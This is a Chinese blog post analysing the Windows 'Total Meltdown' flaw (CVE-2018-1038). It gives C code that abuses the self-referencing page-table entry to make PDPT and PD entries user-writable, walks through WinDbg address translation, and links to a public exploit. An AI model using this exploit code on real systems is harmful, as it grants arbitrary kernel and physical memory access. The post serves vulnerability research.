Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >CVE-2018-1038:TotalMeltdown漏洞分析的一点记录

CVE-2018-1038:TotalMeltdown漏洞分析的一点记录

作者头像
De4dCr0w
发布于 2019-02-27 08:45:59
发布于 2019-02-27 08:45:59
59700
代码可运行
举报
运行总次数:0
代码可运行

漏洞分析

参考链接中对漏洞分析已经很清晰了,本来是想对PD项也进行权限改写,但是添加代码后(如下代码:)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
#include 
#include 
#include 

#define QWORD unsigned long long

#define BASE 0xFFFF000000000000

#define PML4 0xFFFFF6FB7DBED000

#define PML4SELF_IDX 0x1ed

QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx);


void testAddr(unsigned char *p);

int main(int argc, char *argv)
{
	unsigned char *temp = (unsigned char *)0xFFFFF6FB7DBED000;

	unsigned char *p = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 0);//到达PDPT
	testAddr(p);
	QWORD *pdpte = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 8);
	*pdpte = (*pdpte | 7);
	testAddr(p);

//添加部分

	unsigned char *pd = (unsigned char*)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, 1, 5, 0x0);//到达PD
	testAddr(pd);
	QWORD *pde = (QWORD *)getAddr(BASE, PML4SELF_IDX, PML4SELF_IDX, PML4SELF_IDX, 1, 40);
	*pde = (*pde | 7);
	testAddr(pd);
	
	system("pause");
	return 0;
}


QWORD getAddr(QWORD base, QWORD pml4Idx, QWORD pdptIdx, QWORD pdIdx, QWORD ptIdx, QWORD offsetIdx) {
	base = base + offsetIdx + (ptIdx << 12) + (pdIdx << 21) + (pdptIdx << 30) + (pml4Idx << 39);
	return base;
}

void testAddr(unsigned char *p) {
	__try {
		int i = *p;
		memcpy(p + 40, "\x00\x00\x00\x00\x00\x02\x00\x00", 8);
		printf("access 0x%p sucess\n", p);
	}
	__except (EXCEPTION_EXECUTE_HANDLER) {
		printf("access 0x%p error\n", p);
	
	}
}

发生错误,所以就对原因进行探究。首先是对虚拟地址转化成物理地址的过程进行分析,如下图:

实际调试过程如下:

两个地址的分解结果:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> .formats 0xFFFFF6FB7DA01000
Evaluate expression:
  Hex:     fffff6fb`7da01000
  Decimal: -9914971844608
  Octal:   1777777557557550010000
  Binary:  11111111 11111111 11110110 11111011 01111101 10100000 00010000 00000000
  Chars:   ....}...
  Time:    ***** Invalid FILETIME
  Float:   low 2.65949e+037 high -1.#QNAN
  Double:  -1.#QNAN
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
11111111 11111111 
11110110 1 :0x1ED (PML4 index)
1111011 01 : 0x1ED (PDPT index)
111101 101 : 0x1ED (PD index)
00000 0001 : 0x1 (PT index)
0000 00000000 (OFFSET)

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> .formats 0xfffff6fb40205000
Evaluate expression:
  Hex:     fffff6fb`40205000
  Decimal: -9916003627008
  Octal:   1777777557550010050000
  Binary:  11111111 11111111 11110110 11111011 01000000 00100000 01010000 00000000
  Chars:   ....@ P.
  Time:    ***** Invalid FILETIME
  Float:   low 2.50488 high -1.#QNAN
  Double:  -1.#QNAN

11111111 11111111 
11110110 1 : 0x1ED(PML4 index)
1111011 01 : 0x1ED(PDPT index)
000000 001 : 0x1 (PD index)
00000 0101 : 0x5 (PT index)
0000 00000000 (OFFSET)

查看cr3寄存器的值

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> rM 80
cr0=0000000080050031 cr2=fffff900c22eb000 cr3=0000000000187000
cr8=000000000000000f

得到PFN是0x00187,将PFN*PageSize得到下一级结构PDPT的基址,然后使用pdpt_index来索引PDPT,通过计算PDPT的基址为0x00187000,依然指向的是PML4. 继续计算PD的基址也是0x00187000,最后剩下PT的基址也为0x00187000,所以0xFFFFF6FB7DA01000转化成的物理地址为:0x0000000000000000

经过分析发现之前修改PD项权限错误的原因是PDPT项被映射到了0x0地址上,而0x0上填充的内容超过了映射地址范围,经过测试映射范围最大为0x7ffffffffff。

所以将要映射的地址填成这个范围就可以成功了。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
memcpy(p + 40, "\x00\x00\x00\x00\x00\x02\x00\x00", 8);

运行效果图:

参考链接

https://www.coresecurity.com/blog/getting-physical-extreme-abuse-of-intel-based-paging-systems-part-2-windows

https://bbs.pediy.com/thread-224348.htm

http://blog.frizk.net/2018/03/total-meltdown.html

https://cert.360.cn/warning/detail?id=b58c185c339521ee4e31674d36cd36e3

xpn公布的exp技术分析文章:https://blog.xpnsec.com/total-meltdown-cve-2018-1038/

exp地址:https://gist.github.com/xpn/3792ec34d712425a5c47caf5677de5fe#gistcomment-2568017

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
用css画一个三角形
代码如下:原理是设置宽高为0,只设置border-style:solid和border-width、border一个的颜色。这时得到的效果就是一个三角形,如果位置不对,可以用rotate进行角度转化。
用户1149564
2021/03/19
6790
【CSS】CSS特效集锦,视觉魔法的碰撞与融合(一)
在本文中我讲述了7种CSS的特效,它们也许看起来并不惊艳,但是我认为却足够传达本文的理念:编写一些特殊的CSS样式的时候需要不拘于常理,要用特殊的认识角度看待标签和样式属性,从而用「绕个弯」的方式达到效果。
啦啦啦321
2019/09/27
2.2K0
CSS画各种图形(五角星、吃豆人、太极图等)
这里说的用css做图形,其实是使用一个html元素,结合它的伪元素 ::before & ::after (不需要其他额外的非伪元素的html元素),然后定义样式来生成所需的图形。
Javanx
2019/09/04
2.1K0
CSS画各种图形(五角星、吃豆人、太极图等)
CSS绘制三角形和箭头,不用再用图片了
还在用图片制作箭头,三角形,那就太lou了。css可以轻松搞定这一切,而且颜色大小想怎么变就怎么变,还不用担心失真等问题。 先来看看这段代码:
Javanx
2019/09/04
2.2K0
纯CSS实现 | yoyo摸鱼(click)
掘金是一个技(摸)术(鱼)社区,每天上班开机第一时间就是打开掘金快乐的学(摸)习(鱼),借着代码块的功能推出,今天来用自己的渣渣CSS试着画一下yoyo摸鱼(click)
jayjay
2022/11/02
4820
纯CSS实现 | yoyo摸鱼(click)
前端|如何用HTML打印一个六边形
六边形在我们网页的制作中,运用得并不是特别广泛。但在一些制作精美,要求创新的一些网页上,我们还是不难看到六边形的身影,如下图1.1所示。用六边形组合的蜂窝状图形,相对来说可能运用的范围应该是最广的。下面我们就来介绍一下如何用HTML打印六边形吧。
算法与编程之美
2019/11/07
1.2K0
前端|如何用HTML打印一个六边形
css画三角形
若我们只想要一个三角形,可以把其他三个三角形的颜色变白,那就只剩下一个。css中有这样一个属性,transparent,背景透明。这样便可以达到我们的目的了。
全栈程序员站长
2022/09/07
1K0
css画三角形
纯CSS画三角形
之前遇到过的问题如果查了然后懂了,然后没有及时复盘思考,就很容易还回去,今天把许久之前的这个知识点再整理一下,一是加深自己的记忆,二也是让初学者更容易懂。
全栈程序员站长
2022/09/12
9830
纯CSS画三角形
不同样式tooltip对话框小三角的css实现
开发过程中已经遇到过好多次需要手动实现 tooltip 样式了,这里就总结下,以便未来更好的复制粘贴。
用户4456933
2021/07/12
2.2K0
不同样式tooltip对话框小三角的css实现
带三角形的进度条 原
(adsbygoogle = window.adsbygoogle || []).push({});
tianyawhl
2019/04/04
8120
带三角形的进度条
                                                                            原
CSS实现图形效果
CSS实现正方形、长方形、圆形、半圆、椭圆、三角形、平行四边形、菱形、梯形、六角星、五角星、心形、消息框。
WindRunnerMax
2020/09/01
2.4K0
一张图不用,纯CSS 做个生日贺卡
朋友生日了,直接画,炫技并且表示本人闲的全身疼才会去拿CSS画画,以此嘲弄对方的加班:
1_bit
2022/06/12
5830
一张图不用,纯CSS 做个生日贺卡
CSS画三角形及其原理
其实使用CSS代码绘制三角形,只是对盒子模型中的”border”属性的简单应用。盒子模型将HTML元素划分为内容(Content)、填充(Padding)、边框(Border)和边界(Margin)四部分,参照下图。
全栈程序员站长
2022/09/12
8660
CSS画三角形及其原理
CSS 奇思妙想边框动画
今天逛博客网站 -- shoptalkshow[1],看到这样一个界面,非常有意思:
微芒不朽
2022/09/13
9520
【CSS3】CSS3 2D 转换 - rotate 旋转 ② ( 使用 rotate 旋转绘制三角形 )
一、使用 rotate 旋转绘制三角形 ---- 使用 rotate 旋转绘制三角形 的原理 : 先绘制正方形 , 为该正方形设置边框 , 只设置 右侧 和 下方的 边框 , div { width: 40px; height: 40px; border-right: 2px solid black; border-bottom: 2px solid black; } 如果要一
韩曙亮
2023/04/24
4940
【CSS3】CSS3 2D 转换 - rotate 旋转 ② ( 使用 rotate 旋转绘制三角形 )
手撸一个在线css三角形生成器
为了提高 前端开发 效率, 笔者先后写了上百个前端工具, 有些是给公司内部使用的, 有些单纯是因为自己太“懒”, 不想写代码, 所以才“被迫”做的. 接下来介绍的一款工具——css三角形生成器也是因为之前想要解放设计师的生产力, 自己又懒得切图或者写css代码, 所以想来想去还是自己做一个能自动生成css三角形代码的工具吧.
徐小夕
2020/12/18
8010
css 画三角形
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/148063.html原文链接:https://javaforall.cn
全栈程序员站长
2022/09/07
8240
使用CSS画一个三角形
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/147767.html原文链接:https://javaforall.cn
全栈程序员站长
2022/07/02
5030
使用CSS画一个三角形
CSS画圆、三角形、品字、骰子
让 border-radius属性的值等于盒子高度的一半就行(当然,盒子得是正方形才能得到圆,否则便不是圆)
赤蓝紫
2023/01/05
1.3K0
CSS画圆、三角形、品字、骰子
css绘制三角形
青年时鲁莽,老年时悔恨——富兰克林 代码如下: <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title>
阿超
2023/02/25
8990
css绘制三角形
相关推荐
用css画一个三角形
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验